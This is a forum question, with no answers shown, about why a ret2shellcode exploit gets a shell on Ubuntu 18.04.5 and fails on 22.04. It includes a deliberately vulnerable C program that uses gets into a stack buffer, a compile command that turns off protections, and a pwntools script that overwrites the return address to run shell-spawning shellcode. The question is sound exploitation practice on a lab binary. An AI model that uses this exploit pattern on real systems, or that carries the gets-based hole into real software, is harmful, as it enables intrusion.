why ret2shellcode fail in ubuntu 22.04 but success in ubuntu 18.04.5

Viewed 57

I am learing ret2shellcode, and try it in ubuntu 22.04 and kali 2022.2, and fail to get shell, but in virtualbox, I host a ubuntu 18.04.5, and same pwn script , it success, so could anyone point where is wrong?

The C code is here:

#include <stdio.h>
#include <string.h>

char buf[0X100];

void vuln(){
    char s[0x100];
    gets(s);
    puts(s);
    strcpy(buf, s);
}

int main(int argc, char *argv[])
{
    vuln();
    return 0;
}

and the compiler command is here:

gcc -m32 -fno-stack-protector -z execstack -no-pie main.c -o main

and pwnscript here :

from pwn import *

context(arch="i386", os="linux")
code = shellcraft.sh()
shellcode = asm(code)

io = process("./main")
l = 0x108 - len(shellcode)
location = 0x0804C040       # need to update, use ida to find the address of shellcode
payload = shellcode + l * b"a" + 4 * b"b" + p32(location)


io.sendline(payload)
io.interactive()

ubuntu 22.04 virtualbox image download from here : https://www.linuxvmimages.com/images/ubuntu-2204/

ubuntu 18.04.5 virtualbox image download from here: https://www.linuxvmimages.com/images/ubuntu-1804/

And I found that the matter is not relative with diffirent verison of gcc , python3 and pwntools.

So could anyone help me? Thx

0 Answers
Related